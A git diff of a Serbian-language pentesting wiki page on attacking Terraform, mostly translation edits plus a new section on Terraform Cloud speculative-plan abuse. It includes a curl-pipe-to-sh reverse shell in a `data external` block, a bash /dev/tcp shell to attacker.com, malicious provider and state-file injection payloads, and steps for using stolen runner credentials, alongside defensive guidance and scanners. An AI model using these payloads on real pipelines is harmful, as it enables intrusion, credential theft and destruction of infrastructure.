diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md
index 21d44f64f..3be93e465 100644
--- a/src/pentesting-ci-cd/terraform-security.md
+++ b/src/pentesting-ci-cd/terraform-security.md
@@ -6,7 +6,7 @@
[Iz dokumenata:](https://developer.hashicorp.com/terraform/intro)
-HashiCorp Terraform je **alat za infrastrukturu kao kod** koji vam omogućava da definišete **resurse u oblaku i lokalne resurse** u konfiguracionim datotekama koje su čitljive za ljude, a koje možete verzionisati, ponovo koristiti i deliti. Zatim možete koristiti dosledan radni tok za obezbeđivanje i upravljanje svim vašim infrastrukturnim resursima tokom njihovog životnog ciklusa. Terraform može upravljati niskonivnim komponentama kao što su računarstvo, skladištenje i mrežni resursi, kao i visokolevelnim komponentama kao što su DNS unosi i SaaS funkcije.
+HashiCorp Terraform je **alat za infrastrukturu kao kod** koji vam omogućava da definišete kako **resurse u oblaku, tako i lokalne resurse** u konfiguracionim datotekama koje su čitljive za ljude, a koje možete verzionisati, ponovo koristiti i deliti. Zatim možete koristiti dosledan radni tok za obezbeđivanje i upravljanje svim vašim infrastrukturnim resursima tokom njihovog životnog ciklusa. Terraform može upravljati niskonivnim komponentama kao što su resursi za računanje, skladištenje i umrežavanje, kao i visokolevelnim komponentama kao što su DNS unosi i SaaS funkcije.
#### Kako Terraform funkcioniše?
@@ -16,7 +16,7 @@ Terraform kreira i upravlja resursima na platformama u oblaku i drugim uslugama
HashiCorp i Terraform zajednica su već napisali **više od 1700 provajdera** za upravljanje hiljadama različitih tipova resursa i usluga, a ovaj broj se nastavlja povećavati. Sve javno dostupne provajdere možete pronaći na [Terraform Registry](https://registry.terraform.io/), uključujući Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog i mnoge druge.
-Osnovni Terraform radni tok se sastoji od tri faze:
+Osnovni radni tok Terraform-a sastoji se od tri faze:
- **Pisanje:** Definišete resurse, koji mogu biti raspoređeni preko više provajdera i usluga u oblaku. Na primer, možete kreirati konfiguraciju za implementaciju aplikacije na virtuelnim mašinama u mreži Virtuelne Privatne Oblasti (VPC) sa sigurnosnim grupama i balansirnikom opterećenja.
- **Planiranje:** Terraform kreira plan izvršenja koji opisuje infrastrukturu koju će kreirati, ažurirati ili uništiti na osnovu postojeće infrastrukture i vaše konfiguracije.
@@ -30,13 +30,13 @@ Samo instalirajte terraform na vašem računaru.
Ovde imate [vodič](https://learn.hashicorp.com/tutorials/terraform/install-cli) i ovde imate [najbolji način za preuzimanje terraforma](https://www.terraform.io/downloads).
-## RCE u Terraformu: trovanje konfiguracionih datoteka
+## RCE u Terraform-u: trovanje konfiguracione datoteke
-Terraform **nema platformu koja izlaže veb stranicu ili mrežnu uslugu** koju možemo enumerisati, stoga je jedini način da kompromitujemo terraform **da možemo dodati/izmeniti terraform konfiguracione datoteke** ili **da možemo izmeniti terraform stanje datoteke** (vidi poglavlje ispod).
+Terraform **nema platformu koja izlaže web stranicu ili mrežnu uslugu** koju možemo enumerisati, stoga je jedini način da kompromitujemo terraform **da možemo dodati/izmeniti terraform konfiguracione datoteke** ili **da možemo izmeniti terraform stanje datoteke** (vidi poglavlje ispod).
Međutim, terraform je **veoma osetljiva komponenta** za kompromitovanje jer će imati **privilegovan pristup** različitim lokacijama kako bi mogao pravilno da funkcioniše.
-Glavni način na koji napadač može kompromitovati sistem na kojem se terraform izvršava je da **kompromituje repozitorijum koji čuva terraform konfiguracije**, jer će u nekom trenutku biti **interpretirane**.
+Glavni način na koji napadač može kompromitovati sistem na kojem se terraform izvršava je **kompromitovanje repozitorijuma koji čuva terraform konfiguracije**, jer će u nekom trenutku biti **interpretirane**.
U stvari, postoje rešenja koja **automatski izvršavaju terraform plan/primenu nakon što je PR** kreiran, kao što je **Atlantis**:
@@ -48,13 +48,13 @@ Ako ste u mogućnosti da kompromitujete terraform datoteku, postoje različiti n
### Terraform plan
-Terraform plan je **najčešće korišćena komanda** u terraformu i programeri/rešenja koja koriste terraform je stalno pozivaju, tako da je **najlakši način da dobijete RCE** da se pobrinete da otrovate terraform konfiguracionu datoteku koja će izvršiti proizvoljne komande u `terraform plan`.
+Terraform plan je **najčešće korišćena komanda** u terraform-u i programeri/rešenja koja koriste terraform je pozivaju stalno, tako da je **najlakši način da dobijete RCE** da se pobrinete da otrovate terraform konfiguracionu datoteku koja će izvršiti proizvoljne komande u `terraform plan`.
**Korišćenje spoljnog provajdera**
Terraform nudi [`external` provajder](https://registry.terraform.io/providers/hashicorp/external/latest/docs) koji pruža način za interakciju između Terraforma i spoljnjih programa. Možete koristiti `external` izvor podataka za izvršavanje proizvoljnog koda tokom `plana`.
-Umetanje u terraform konfiguracionu datoteku nešto poput sledećeg će izvršiti rev shell kada se izvrši `terraform plan`:
+Umetanje nečega poput sledećeg u terraform konfiguracionu datoteku izvršiće rev shell kada se izvrši `terraform plan`:
```javascript
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
@@ -62,7 +62,7 @@ program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"
```
**Korišćenje prilagođenog provajdera**
-Napadač bi mogao poslati [prilagođenog provajdera](https://learn.hashicorp.com/tutorials/terraform/provider-setup) na [Terraform Registry](https://registry.terraform.io/) i zatim ga dodati u Terraform kod u funkcionalnoj grani ([primer odavde](https://alex.kaskaso.li/post/terraform-plan-rce)):
+Napadač bi mogao poslati [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) na [Terraform Registry](https://registry.terraform.io/) i zatim ga dodati u Terraform kod u funkcionalnoj grani ([primer odavde](https://alex.kaskaso.li/post/terraform-plan-rce)):
```javascript
terraform {
required_providers {
@@ -75,7 +75,7 @@ version = "1.0"
provider "evil" {}
```
-Provajder se preuzima u `init` i izvršiće maliciozni kod kada se izvrši `plan`
+Provajder se preuzima u `init` i izvršiće maliciozni kod kada se izvrši `plan`.
Možete pronaći primer na [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
@@ -128,11 +128,11 @@ U slučaju da imate pristup za pisanje nad terraform state fajlovima, ali ne mo
### RCE u Terraform-u: trovanje konfiguracionog fajla
-Moguće je [napraviti prilagođenog provajdera](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) i jednostavno zameniti jednog od provajdera u terraform state fajlu za malicioznog ili dodati lažni resurs koji se poziva na malicioznog provajdera.
+Moguće je [napraviti prilagođenog provajdera](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) i jednostavno zameniti jednog od provajdera u terraform state fajlu za zlonamernog ili dodati lažni resurs koji se poziva na zlonamernog provajdera.
-Provajder [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) se oslanja na istraživanje i oružava ovaj princip. Možete dodati lažni resurs i navesti proizvoljnu bash komandu koju želite da izvršite u atributu `command`. Kada se pokrene `terraform` run, ovo će biti pročitano i izvršeno u koracima `terraform plan` i `terraform apply`. U slučaju koraka `terraform apply`, `terraform` će obrisati lažni resurs iz state fajla nakon izvršavanja vaše komande, čisteći za sobom. Više informacija i puna demonstracija mogu se naći u [GitHub repozitorijumu koji hostuje izvorni kod za ovog provajdera](https://github.com/offensive-actions/terraform-provider-statefile-rce).
+Provajder [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) se oslanja na istraživanje i oružava ovaj princip. Možete dodati lažni resurs i navesti proizvoljnu bash komandu koju želite da izvršite u atributu `command`. Kada se pokrene `terraform` run, ovo će biti pročitano i izvršeno u koracima `terraform plan` i `terraform apply`. U slučaju koraka `terraform apply`, `terraform` će obrisati lažni resurs iz state fajla nakon izvršavanja vaše komande, čisteći za sobom. Više informacija i potpuna demonstracija mogu se naći u [GitHub repozitorijumu koji hostuje izvorni kod za ovog provajdera](https://github.com/offensive-actions/terraform-provider-statefile-rce).
-Da biste ga koristili direktno, jednostavno uključite sledeće na bilo kojoj poziciji u nizu `resources` i prilagodite atribute `name` i `command`:
+Da biste ga koristili direktno, jednostavno uključite sledeće na bilo kojoj poziciji u `resources` nizu i prilagodite atribute `name` i `command`:
```json
{
"mode": "managed",
@@ -152,13 +152,13 @@ Da biste ga koristili direktno, jednostavno uključite sledeće na bilo kojoj po
]
}
```
-Zatim, čim se izvrši `terraform`, vaš kod će se pokrenuti.
+Zatim, čim se `terraform` izvrši, vaš kod će se pokrenuti.
### Brisanje resursa
Postoje 2 načina da se unište resursi:
-1. **Umetnite resurs sa nasumičnim imenom u fajl stanja koji pokazuje na pravi resurs koji treba uništiti**
+1. **Umetnite resurs sa nasumičnim imenom u datoteku stanja koja pokazuje na pravi resurs koji treba uništiti**
Pošto će terraform videti da resurs ne bi trebao da postoji, uništiće ga (prateći pravi ID resursa koji je naznačen). Primer sa prethodne strane:
```json
@@ -182,7 +182,7 @@ Za EC2 instancu, izmena tipa instance je dovoljna da terraform obriše i ponovo
### Zamenite crnu listu provajdera
-U slučaju da naiđete na situaciju gde je `hashicorp/external` stavljen na crnu listu, možete ponovo implementirati `external` provajder na sledeći način. Napomena: Koristimo fork external provajdera objavljen od strane https://registry.terraform.io/providers/nazarewk/external/latest. Takođe možete objaviti svoj vlastiti fork ili ponovnu implementaciju.
+U slučaju da naiđete na situaciju gde je `hashicorp/external` stavljen na crnu listu, možete ponovo implementirati `external` provajder na sledeći način. Napomena: Koristimo fork `external` provajdera objavljen od strane https://registry.terraform.io/providers/nazarewk/external/latest. Takođe možete objaviti svoj vlastiti fork ili ponovnu implementaciju.
```terraform
terraform {
required_providers {
@@ -199,18 +199,92 @@ data "external" "example" {
program = ["sh", "-c", "whoami"]
}
```
+## Terraform Cloud speculative plan RCE and credential exfiltration
+
+Ovaj scenario zloupotrebljava Terraform Cloud (TFC) izvršitelje tokom spekulativnih planova da bi se prešao u ciljni cloud nalog.
+
+- Preduslovi:
+- Ukrao Terraform Cloud token sa developerske mašine. CLI čuva tokene u običnom tekstu na `~/.terraform.d/credentials.tfrc.json`.
+- Token mora imati pristup ciljnjoj organizaciji/radnom prostoru i najmanje `plan` dozvolu. VCS-podržani radni prostori blokiraju `apply` iz CLI, ali i dalje omogućavaju spekulativne planove.
+
+- Otkrijte postavke radnog prostora i VCS putem TFC API:
+```bash
+export TF_TOKEN=
+curl -s -H "Authorization: Bearer $TF_TOKEN" \
+https://app.terraform.io/api/v2/organizations//workspaces/ | jq
+```
+- Pokrenite izvršavanje koda tokom spekulativnog plana koristeći spoljašnji izvor podataka i Terraform Cloud "cloud" blok za ciljanje VCS-podržanog radnog prostora:
+```hcl
+terraform {
+cloud {
+organization = "acmecorp"
+workspaces { name = "gcp-infra-prod" }
+}
+}
+
+data "external" "exec" {
+program = ["bash", "./rsync.sh"]
+}
+```
+Primer rsync.sh za dobijanje reverzne ljuske na TFC runner-u:
+```bash
+#!/usr/bin/env bash
+bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'
+```
+Pokrenite spekulativni plan za izvršavanje programa na ephemernom izvršitelju:
+```bash
+terraform init
+terraform plan
+```
+- Enumerisati i exfiltrirati injektovane cloud kredencijale iz runner-a. Tokom izvršavanja, TFC injektuje kredencijale provajdera putem fajlova i promenljivih okruženja:
+```bash
+env | grep -i gcp || true
+env | grep -i aws || true
+```
+Očekivani fajlovi u radnom direktorijumu runner-a:
+- GCP:
+- `tfc-google-application-credentials` (JSON konfiguracija Workload Identity Federation)
+- `tfc-gcp-token` (token za pristup GCP sa kratkim vremenom trajanja)
+- AWS:
+- `tfc-aws-shared-config` (konfiguracija pretpostavke uloge web identiteta/OIDC)
+- `tfc-aws-token` (token sa kratkim vremenom trajanja; neke organizacije mogu koristiti statičke ključeve)
+
+- Koristite kratkoročne akreditive van kanala da biste zaobišli VCS kapije:
+
+GCP (gcloud):
+```bash
+export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials
+gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS"
+gcloud config set project
+```
+AWS (AWS CLI):
+```bash
+export AWS_CONFIG_FILE=./tfc-aws-shared-config
+export AWS_PROFILE=default
+aws sts get-caller-identity
+```
+Sa ovim kredencijalima, napadači mogu da kreiraju/modifikuju/unište resurse direktno koristeći native CLIs, zaobilazeći PR-bazirane radne tokove koji blokiraju `apply` putem VCS-a.
+
+- Defensivna uputstva:
+- Primeni najmanje privilegije za TFC korisnike/timove i tokene. Revizija članstva i izbegavanje prevelikih vlasnika.
+- Ograniči `plan` dozvolu na osetljivim VCS-podržanim radnim prostorima gde je to moguće.
+- Sprovodi allowlist-e za provajdere/izvore podataka sa Sentinel politikama kako bi blokirao `data "external"` ili nepoznate provajdere. Pogledaj HashiCorp uputstva o filtriranju provajdera.
+- Preferiraj OIDC/WIF umesto statičnih cloud kredencijala; tretiraj trkače kao osetljive. Prati spekulativne planove i neočekivani izlaz.
+- Otkrivanje eksfiltracije `tfc-*` artefakata kredencijala i upozoravanje na sumnjivu upotrebu `external` programa tokom planova.
+
+
## Automatski alati za reviziju
### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
-Snyk nudi sveobuhvatno rešenje za skeniranje Infrastructure as Code (IaC) koje otkriva ranjivosti i pogrešne konfiguracije u Terraform, CloudFormation, Kubernetes i drugim IaC formatima.
+Snyk nudi sveobuhvatno rešenje za skeniranje Infrastructure as Code (IaC) koje otkriva ranjivosti i pogrešne konfiguracije u Terraform-u, CloudFormation-u, Kubernetes-u i drugim IaC formatima.
- **Karakteristike:**
- Skeniranje u realnom vremenu za sigurnosne ranjivosti i probleme usklađenosti.
- Integracija sa sistemima za kontrolu verzija (GitHub, GitLab, Bitbucket).
-- Automatizovani zahtevi za ispravke.
-- Detaljni saveti za otklanjanje problema.
-- **Prijavite se:** Kreirajte nalog na [Snyk](https://snyk.io/).
+- Automatski pull zahtevi za ispravke.
+- Detaljna uputstva za otklanjanje problema.
+- **Prijavi se:** Kreiraj nalog na [Snyk](https://snyk.io/).
```bash
brew tap snyk/tap
brew install snyk
@@ -219,18 +293,18 @@ snyk iac test /path/to/terraform/code
```
### [Checkov](https://github.com/bridgecrewio/checkov)
-**Checkov** je alat za statičku analizu koda za infrastrukturu kao kod (IaC) i takođe alat za analizu sastava softvera (SCA) za slike i open source pakete.
+**Checkov** je alat za statičku analizu koda za infrastrukturu kao kod (IaC) i takođe alat za analizu sastava softvera (SCA) za slike i pakete otvorenog koda.
-Skeneruje cloud infrastrukturu koja je obezbeđena koristeći [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), ili [OpenTofu](https://opentofu.org/) i detektuje bezbednosne i usklađenosti greške u konfiguraciji koristeći skeniranje zasnovano na grafu.
+Skenira cloud infrastrukturu koja je obezbeđena koristeći [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), ili [OpenTofu](https://opentofu.org/) i otkriva bezbednosne i usklađenosti greške u konfiguraciji koristeći skeniranje zasnovano na grafu.
-Izvodi [Software Composition Analysis (SCA) skeniranje](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) koje je skeniranje open source paketa i slika za Common Vulnerabilities and Exposures (CVEs).
+Izvodi [Software Composition Analysis (SCA) skeniranje](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) koje je skeniranje paketa otvorenog koda i slika za zajedničke ranjivosti i izloženosti (CVE).
```bash
pip install checkov
checkov -d /path/to/folder
```
### [terraform-compliance](https://github.com/terraform-compliance/cli)
-From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` je lagan, bezbednosno orijentisan test okvir za usklađenost protiv terraform-a koji omogućava negativno testiranje za vašu infrastrukturu kao kod.
+From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` je lagan, bezbednosno i usklađenosti fokusiran test okvir protiv terraform-a koji omogućava negativno testiranje za vašu infrastrukturu kao kod.
- **usaglašenost:** Osigurajte da implementirani kod prati bezbednosne standarde, vaše sopstvene prilagođene standarde
- **razvoj vođen ponašanjem:** Imamo BDD za gotovo sve, zašto ne i za IaC?
@@ -248,7 +322,7 @@ terraform-compliance -f /path/to/folder
```
### [tfsec](https://github.com/aquasecurity/tfsec)
-From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec koristi statičku analizu vašeg terraform koda da bi uočio potencijalne pogrešne konfiguracije.
+Iz [**dokumentacije**](https://github.com/aquasecurity/tfsec): tfsec koristi statičku analizu vašeg terraform koda da bi uočio potencijalne pogrešne konfiguracije.
- ☁️ Proverava pogrešne konfiguracije kod svih glavnih (i nekih manjih) provajdera u oblaku
- ⛔ Stotine ugrađenih pravila
@@ -258,29 +332,29 @@ From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec koristi stati
- 🔗 Evaluira odnose između Terraform resursa
- 🧰 Kompatibilan sa Terraform CDK
- 🙅 Primena (i obogaćivanje) korisnički definisanih Rego politika
-- 📃 Podržava više formata izlaza: lovely (podrazumevano), JSON, SARIF, CSV, CheckStyle, JUnit, tekst, Gif.
+- 📃 Podržava više formata izlaza: lepi (podrazumevani), JSON, SARIF, CSV, CheckStyle, JUnit, tekst, Gif.
- 🛠️ Konfigurisanje (putem CLI zastavica i/ili konfiguracione datoteke)
-- ⚡ Veoma brzo, sposobno za brzo skeniranje ogromnih repozitorijuma
+- ⚡ Veoma brzo, sposobno da brzo skenira ogromne repozitorijume
```bash
brew install tfsec
tfsec /path/to/folder
```
### [KICKS](https://github.com/Checkmarx/kics)
-Pronađite sigurnosne ranjivosti, probleme usklađenosti i greške u konfiguraciji infrastrukture rano u razvoju vaše infrastrukture kao koda uz **KICS** od Checkmarx.
+Pronađite bezbednosne ranjivosti, probleme sa usklađenošću i pogrešne konfiguracije infrastrukture rano u razvoju vaše infrastrukture kao koda uz **KICS** od Checkmarx.
-**KICS** označava **K**eeping **I**nfrastructure as **C**ode **S**ecure, otvorenog je koda i neophodan je za svaki cloud native projekat.
+**KICS** označava **K**eeping **I**nfrastructure as **C**ode **S**ecure, otvorenog je koda i neophodan je za svaki projekat u oblaku.
```bash
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
```
### [Terrascan](https://github.com/tenable/terrascan)
-Iz [**dokumentacije**](https://github.com/tenable/terrascan): Terrascan je statički analizator koda za Infrastructure as Code. Terrascan vam omogućava:
+Iz [**dokumentacije**](https://github.com/tenable/terrascan): Terrascan je statički analizator koda za Infrastructure as Code. Terrascan vam omogućava da:
-- Besprekorno skeniranje infrastrukture kao koda za pogrešne konfiguracije.
-- Praćenje obezbeđene cloud infrastrukture za promene konfiguracije koje uvode promene u posturi, i omogućava vraćanje na sigurnu posturu.
-- Otkrivanje sigurnosnih ranjivosti i kršenja usklađenosti.
-- Ublažavanje rizika pre obezbeđivanja cloud native infrastrukture.
+- Besprekorno skenirate infrastrukturu kao kod za pogrešne konfiguracije.
+- Pratite obezbeđenu cloud infrastrukturu za promene konfiguracije koje uvode promene u posturi, i omogućava vraćanje na sigurnu posturu.
+- Otkrivate sigurnosne ranjivosti i kršenja usklađenosti.
+- Ublažavate rizike pre nego što obezbedite cloud native infrastrukturu.
- Nudi fleksibilnost za lokalno pokretanje ili integraciju sa vašim CI\CD.
```bash
brew install terrascan
@@ -292,5 +366,13 @@ brew install terrascan
- [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro)
- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
- [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce)
+- [Terraform Cloud token abuse turns speculative plan into remote code execution](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)
+- [Terraform Cloud permissions](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions)
+- [Terraform Cloud API – Show workspace](https://developer.hashicorp.com/terraform/cloud-docs/api-docs/workspaces#show-workspace)
+- [AWS provider configuration](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration)
+- [AWS CLI – OIDC role assumption](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-oidc)
+- [GCP provider – Using Terraform Cloud](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud)
+- [Terraform – Sensitive variables](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables)
+- [Snyk Labs – Gitflops: dangers of Terraform automation platforms](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/)
{{#include ../banners/hacktricks-training.md}}